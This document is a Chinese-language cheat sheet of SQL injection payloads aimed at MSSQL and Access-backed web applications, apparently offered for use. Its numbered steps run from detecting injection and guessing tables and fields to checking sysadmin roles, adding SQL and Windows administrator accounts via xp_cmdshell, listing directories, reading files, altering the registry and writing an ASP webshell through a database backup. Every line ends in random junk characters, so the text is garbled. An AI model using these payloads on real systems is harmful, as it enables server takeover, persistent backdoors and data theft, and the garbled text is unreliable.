1.判断是否有注入;and 1=1 ;and 1=2 o:3(J}
2.初步判断是否是mssql ;and user>0 Jmg9|g!f
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3.注入参数是字符'and [查询条件] and ''=' 2 @T~VRy
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' {[Y7h}7
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5.判断数据库系统 'wMvO{}$
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;and (select count(*) from msysobjects)>0 access IEP|j;~*
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 |s(Ih_Zn
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0rI/$
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 /N<aN9Z<x,
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9.(1)猜字段的ascii值(access) a8ouk7G
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10.测试权限结构(mssql) e?B}^Dk0i
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >qr/1mW
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- SDE$ymPx
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- f_xvX f:
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |K{d5\_
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- w%X@os}E
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4pQf*l8e
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11.添加mssql和系统的帐户 -Q
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;exec master.dbo.sp_addlogin username;-- =H;'.!77Hx
;exec master.dbo.sp_password null,username,password;-- *)
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- .|hsn6i/-
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;exec master.dbo.xp_cmdshell 'net user username password [+R_3'aK
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Y_jc *S
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- zaLPPm&f
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12.(1)遍历目录 8]b;l; W5
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;insert dirs exec master.dbo.xp_dirtree 'c:\' y {Bajil
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;and (select top 1 paths from dirs)>0 %Y=r5'6l
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) "a~r'+'<
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /!?Tv8TPp
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;|?_C8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4;AQ12<[1
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 kBrA ?
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 IO
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13.mssql中的存储过程 rCczQ71W
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xp_regenumvalues 注册表根键, 子键 ZX`x9/0&
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 N'&>bO?@`
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xp_regread 根键,子键,键值名 oA~0"}eS
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 E# 8|h(
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xp_regwrite 根键,子键, 值名, 值类型, 值 <a
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Q(yg bT
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xp_regdeletevalue 根键,子键,值名 <X4f2z{T{@
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 MnF|'t
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 O|=?!|`o
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14.mssql的backup创建webshell _xi&%F/
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insert into cmd(str) values (''); @jMo/kO/A
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backup database model to disk='c:\l.asp'; !A%
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15.mssql内置函数 ~p
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;and (select @@version)>0 获得Windows的版本号 M.MQ?`_"b
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa N: 38N
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;and (select user_name())>0 爆当前系统的连接用户 2
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;and (select db_name())>0 得到当前连接的数据库 Nv;'Ys P
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16.简洁的webshell _4SZ9yu
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create table cmd(str image); E)jd>"
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insert into cmd(str) values (''); h,BPf5\S
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backup database model to disk='g:\wwwtest\l.asp';